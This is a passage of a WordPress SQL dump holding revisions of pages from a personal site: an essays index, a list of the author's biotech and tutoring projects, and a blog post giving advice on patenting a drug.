with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-08-26 14:18:14','2021-08-26 14:18:14','',22,'https://trevorklee.com/?p=199',0,'revision','',0),
(202,1,'2021-09-20 16:34:45','2021-09-20 16:34:45','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for autoimmune conditions that aren\'t well-treated by biologics</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>A lot of autoimmune conditions are well-treated by biologics. But there are some that fall through the cracks.</li><li>For example, chronic spontaneous urticaria is a condition in which cyclosporine is recommended as a treatment following failures of biologics. My conversations with experts in the field suggest roughly 10% of people fail biologics.</li><li>Moreover, in countries with poor healthcare, or in people with poor health insurance, biologics are often unavailable or impossibly expensive.</li><li>Cyclosporine is a commonly used immunosuppressant for chronic spontaneous urticaria as well as other autoimmune conditions. However, it has problems, including severe side effects and difficulties with administration.</li><li>Combining cyclosporine with a metabolic inhibitor would reduce side effects, make it easier to administer cyclosporine, and ultimately make life easier for people with that condition.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Surprisingly, there are case reports with the combination of cyclosporine and metabolic inhibitors. They show good results, and they show the combination is safe in humans.</li><li>My in-vitro experiment also showed good results.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status: </strong>patent secured, funding mode activated. Find out more on highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for levodopa-induced dyskinesia in Parkinson\'s</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Dyskinesia in Parkinson\'s is poorly treated. It\'s a serious problem, and the only real solutions are amantadine and deep brain stimulation.  Amantadine is not an easy drug: it can cause nightmares and hallucinations. Deep brain stimulation requires invasive surgery.</li><li>Dyskinesia in Parkinson\'s is caused by [<em>tba</em>], which can be treated by [<em>tba</em>]. This should be a safe, effective treatment which will produce dramatic results that are easy to see (unlike, say, disease modifying treatments for Parkinson\'s, which are masked by levodopa until levodopa stops working).</li><li>Other dyskinesias will also benefit from this therapeutic.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> in the process of filing a provisional patent and getting experiments done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for glutamate excitoxicity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Glutamate excitoxicity isn\'t responsible for all neurodegeneration. However, there is some neurodegeneration that is caused by glutamate excitoxicity.</li><li>In neurodegeneration that is caused by glutamate excitoxicity, [<em>tba</em>] will prove effective.</li><li>Neurodegeneration, on the whole, is poorly treated and frankly terrifying. For ALS, traumatic brain injuries with neurodegeneration, Alzheimer\'s, etc. , there is really nothing that can be done currently.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: in the process of filing a provisional patent and getting experiments done</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for chronic heart failure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Despite being common, chronic heart failure is not well treated. If there are no obvious causes (and there usually aren\'t), care is more palliative than curative.</li><li>[<em>tba</em>] is a major cause of damage in chronic heart failure, and, when untreated, can lead to decline in heart function.</li><li>[<em>TBA therapeutic</em>] can treat this major cause of damage.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>TBA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Refining my evidence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><a href=\"http://get21snight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Eh. Work in progress. The hardest thing about it has been simply to continually make it easier to use while still accomplishing what I want it to accomplish. App development is hard. It makes some amount of money, at least. </p>\n<!-- /wp:paragraph -->','Current projects','','inherit','closed','closed','','2-revision-v1','','','2021-09-20 16:34:45','2021-09-20 16:34:45','',2,'https://trevorklee.com/?p=202',0,'revision','',0),
(203,1,'2021-09-21 16:10:53','2021-09-21 16:10:53','<!-- wp:paragraph -->\n<p>If you ever want to release a pharmaceutical to the public, you\'ll need to patent it. If you don\'t patent your drug, someone else will copy it and release it for cheaper, and all of the effort you spent on clinical trials will be coopted by your imitator. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, unlike the software industry, you can\'t solve this problem by iterating more quickly than your competition. The FDA will need you to go through years of clinical trials before they allow you to release a new drug, or even a new form of your drug. Whatever drug form you submit to the FDA is the one you\'re stuck with releasing to the public; there\'s no such thing as a MVP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, the process of writing and filing a patent is non-obvious, if you\'ll forgive my unfunny joke. I know this because I just successfully filed my first drug patent for my biotech startup, <a href=\"http://highwaypharm.com\">Highway Pharmaceuticals</a> (side note: interested in development of therapies for autoimmune or neurodegenerative diseases? Reach out!)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here\'s what I wish I knew when I started my journey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Your patentable idea needs to be novel, non-obvious, and concrete.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These three criteria are the three most fundamental criteria of any patent and the most frequently misunderstood. They are very stringent standards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First: novelty. A novel idea is one that <em>nobody</em> has ever thought of before. That means that there\'s nothing whatsoever in the literature about it. If some scientist in the Discussion of a random paper mentioned your idea, it\'s no longer patentable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Next: non-obvious. The full phrase is \"non-obvious to a skilled practitioner of the art\", or, as I like to think of it, <em>surprising.</em> Your idea needs to be one that an expert would be surprised to hear that you invented it/made it work. The judgment on what\'s surprising is up to your patent examiner, but it\'s usually easiest if you can find papers by experts that would seem to suggest your idea is impossible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally: concrete. This is a weird one for pharma. Most pharma patents say, \"This drug cures this disease,\" but it\'s basically impossible to actually have concrete evidence for that, as in-human trials come way after patents in standard pharma development. So, the patent office has very weak standards for \"concrete\" evidence. You just need to have an experiment that vaguely supports your idea, and that\'s generally good enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, unlike other fields, the hardest part about a drug patent is the novelty, and that\'s where most patents fail. There are a lot of pharma papers, and it\'s very tough to find an idea that hasn\'t been done before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Non-obvious is the next toughest thing. This can usually be figured out if you think hard enough about what could be seen as surprising with your drug, though. If it\'s novel, it\'s probably surprising.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, once you have those two, the concrete evidence is generally a walk in the park.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Get a provisional patent as soon as you come up with an idea.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Not many people are aware of this, but the US has kind of a neat system when it comes to patents. Like almost all countries, the US has a \"first-to-file\" system: the first person to file a patent for an invention in the US is granted the invention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unlike most countries, however, the US also has a provisional patent system. This means if you come up with an idea that you\'d like to patent, but you haven\'t finished your experiment yet, you can file a provisional patent instead. This counts as your filing date, as long as you submit a formal, completed patent within a year of filing the provisional patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only this is helpful to prevent someone from scooping your idea, it\'s also very helpful if you want to employ someone else to do the experiment for your patent. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re a non-institutional inventor like me, you are almost certainly going to need to employ a contract research organization (CRO) to carry out your patent-enabling experiment. Having a provisional patent in place prevents anyone affiliated with the CRO from scooping your idea, along with the NDA that you\'ll presumably have them sign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>3. Get a patent lawyer who specializes in drug patents, but don\'t have them write the whole patent.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Drug patents are, of course, really technical documents. They are also strangely and specifically written. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You will not be able to write one all on your own. You need an expert, preferably one with a PhD and a JD, or at least a JD and published papers. However, unless you\'re rich, you will not be able to have a patent lawyer write your whole patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My advice, then, is to write the first draft of your patent yourself. The best way to do that is to find a drug you\'re interested in, go to patents.google.com, and find the patent for that drug. Then copy as much of the format and wording of that patent as possible for your drug. Don\'t worry about plagiarism: nobody\'s copyrighting patent language.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then submit it to your patent lawyer. Ideally, you\'ll only have some minor back and forth after this. Unfortunately, minor back and forths still cost a lot of money, so you\'ll end up spending like $15k. Still, that\'s less than if you used them for everything!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>4. Your patent\'s only worth what you can sue over.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This is probably the least frequently understood part of patents, even by biotech people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only way to enforce a patent is by suing people. Any patent that would be difficult to enforce by suing is not worth having.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For drug patents, that especially applies to use patents. I see patents on use all the time that would literally be impossible to enforce by suing. For example, if you try to patent a method of prescribing a common drug, you may, in fact, get that patent. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, given that the only way of enforcing that patent would be to sue the doctors who prescribe the drug, it\'s probably not a patent worth getting. Imagine the headlines: \"Pharma company sues doctors helping patients!\"</p>\n<!-- /wp:paragraph -->','So, you want to patent a drug. Here\'s what you need to know.','','publish','closed','closed','','so-you-want-to-patent-a-drug-heres-what-you-need-to-know','','','2021-09-21 16:10:53','2021-09-21 16:10:53','',0,'https://trevorklee.com/?page_id=203',0,'page','',0),
(204,1,'2021-09-20 17:35:09','2021-09-20 17:35:09','<!-- wp:paragraph -->\n<p>If you ever want to release a pharmaceutical to the public, you\'ll need to patent it. If you don\'t patent your drug, someone else will copy it and release it for cheaper, and all of the effort you spent on clinical trials will be coopted by your imitator. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, unlike the software industry, you can\'t solve this problem by iterating more quickly than your competition. The FDA will need you to go through years of clinical trials before they allow you to release a new drug, or even a new form of your drug. Whatever drug form you submit to the FDA is the one you\'re stuck with releasing to the public; there\'s no such thing as a MVP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, the process of writing and filing a patent is non-obvious, if you\'ll forgive my unfunny joke. I know this because I just successfully filed my first drug patent for my biotech startup, <a href=\"http://highwaypharm.com\">Highway Pharmaceuticals</a> (side note: interested in development of therapies for autoimmune or neurodegenerative diseases? Reach out!)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here\'s what I wish I knew when I started my journey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Your patentable idea needs to be novel, non-obvious, and concrete.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These three criteria are the three most fundamental criteria of any patent and the most frequently misunderstood. They are very stringent standards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First: novelty. A novel idea is one that <em>nobody</em> has ever thought of before. That means that there\'s nothing whatsoever in the literature about it. If some scientist in the Discussion of a random paper mentioned your idea, it\'s no longer patentable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Next: non-obvious. The full phrase is \"non-obvious to a skilled practitioner of the art\", or, as I like to think of it, <em>surprising.</em> Your idea needs to be one that an expert would be surprised to hear that you invented it/made it work. The judgment on what\'s surprising is up to your patent examiner, but it\'s usually easiest if you can find papers by experts that would seem to suggest your idea is impossible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally: concrete. This is a weird one for pharma. Most pharma patents say, \"This drug cures this disease,\" but it\'s basically impossible to actually have concrete evidence for that, as in-human trials come way after patents in standard pharma development. So, the patent office has very weak standards for \"concrete\" evidence. You just need to have an experiment that vaguely supports your idea, and that\'s generally good enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, unlike other fields, the hardest part about a drug patent is the novelty, and that\'s where most patents fail. There are a lot of pharma papers, and it\'s very tough to find an idea that hasn\'t been done before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Non-obvious is the next toughest thing. This can usually be figured out if you think hard enough about what could be seen as surprising with your drug, though. If it\'s novel, it\'s probably surprising.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, once you have those two, the concrete evidence is generally a walk in the park.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Get a provisional patent as soon as you come up with an idea.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Not many people are aware of this, but the US has kind of a neat system when it comes to patents. Like almost all countries, the US has a \"first-to-file\" system: the first person to file a patent for an invention in the US is granted the invention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unlike most countries, however, the US also has a provisional patent system. This means if you come up with an idea that you\'d like to patent, but you haven\'t finished your experiment yet, you can file a provisional patent instead. This counts as your filing date, as long as you submit a formal, completed patent within a year of filing the provisional patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only this is helpful to prevent someone from scooping your idea, it\'s also very helpful if you want to employ someone else to do the experiment for your patent. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re a non-institutional inventor like me, you are almost certainly going to need to employ a contract research organization (CRO) to carry out your patent-enabling experiment. Having a provisional patent in place prevents anyone affiliated with the CRO from scooping your idea, along with the NDA that you\'ll presumably have them sign.</p>\n<!-- /wp:paragraph -->','So, you want to patent a drug. Here\'s what you need to know.','','inherit','closed','closed','','203-revision-v1','','','2021-09-20 17:35:09','2021-09-20 17:35:09','',203,'https://trevorklee.com/?p=204',0,'revision','',0),
(205,1,'2021-09-21 15:02:19','2021-09-21 15:02:19','<!-- wp:paragraph -->\n<p>If you ever want to release a pharmaceutical to the public, you\'ll need to patent it. If you don\'t patent your drug, someone else will copy it and release it for cheaper, and all of the effort you spent on clinical trials will be coopted by your imitator. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, unlike the software industry, you can\'t solve this problem by iterating more quickly than your competition. The FDA will need you to go through years of clinical trials before they allow you to release a new drug, or even a new form of your drug. Whatever drug form you submit to the FDA is the one you\'re stuck with releasing to the public; there\'s no such thing as a MVP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, the process of writing and filing a patent is non-obvious, if you\'ll forgive my unfunny joke. I know this because I just successfully filed my first drug patent for my biotech startup, <a href=\"http://highwaypharm.com\">Highway Pharmaceuticals</a> (side note: interested in development of therapies for autoimmune or neurodegenerative diseases? Reach out!)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here\'s what I wish I knew when I started my journey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Your patentable idea needs to be novel, non-obvious, and concrete.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These three criteria are the three most fundamental criteria of any patent and the most frequently misunderstood. They are very stringent standards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First: novelty. A novel idea is one that <em>nobody</em> has ever thought of before. That means that there\'s nothing whatsoever in the literature about it. If some scientist in the Discussion of a random paper mentioned your idea, it\'s no longer patentable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Next: non-obvious. The full phrase is \"non-obvious to a skilled practitioner of the art\", or, as I like to think of it, <em>surprising.</em> Your idea needs to be one that an expert would be surprised to hear that you invented it/made it work. The judgment on what\'s surprising is up to your patent examiner, but it\'s usually easiest if you can find papers by experts that would seem to suggest your idea is impossible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally: concrete. This is a weird one for pharma. Most pharma patents say, \"This drug cures this disease,\" but it\'s basically impossible to actually have concrete evidence for that, as in-human trials come way after patents in standard pharma development. So, the patent office has very weak standards for \"concrete\" evidence. You just need to have an experiment that vaguely supports your idea, and that\'s generally good enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, unlike other fields, the hardest part about a drug patent is the novelty, and that\'s where most patents fail. There are a lot of pharma papers, and it\'s very tough to find an idea that hasn\'t been done before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Non-obvious is the next toughest thing. This can usually be figured out if you think hard enough about what could be seen as surprising with your drug, though. If it\'s novel, it\'s probably surprising.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, once you have those two, the concrete evidence is generally a walk in the park.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Get a provisional patent as soon as you come up with an idea.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Not many people are aware of this, but the US has kind of a neat system when it comes to patents. Like almost all countries, the US has a \"first-to-file\" system: the first person to file a patent for an invention in the US is granted the invention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unlike most countries, however, the US also has a provisional patent system. This means if you come up with an idea that you\'d like to patent, but you haven\'t finished your experiment yet, you can file a provisional patent instead. This counts as your filing date, as long as you submit a formal, completed patent within a year of filing the provisional patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only this is helpful to prevent someone from scooping your idea, it\'s also very helpful if you want to employ someone else to do the experiment for your patent. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re a non-institutional inventor like me, you are almost certainly going to need to employ a contract research organization (CRO) to carry out your patent-enabling experiment. Having a provisional patent in place prevents anyone affiliated with the CRO from scooping your idea, along with the NDA that you\'ll presumably have them sign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>3. Get a patent lawyer who specializes in drug patents, but don\'t have them write the whole patent.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Drug patents are, of course, really technical documents. They are also strangely and specifically written. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You will not be able to write one all on your own. You need an expert, preferably one with a PhD and a JD, or at least a JD and published papers. However, unless you\'re rich, you will not be able to have a patent lawyer write your whole patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My advice, then, is to write the first draft of your patent yourself. The best way to do that is to find a drug you\'re interested in, go to patents.google.com, and find the patent for that drug. Then copy as much of the format and wording of that patent as possible for your drug. Don\'t worry about plagiarism: nobody\'s copyrighting 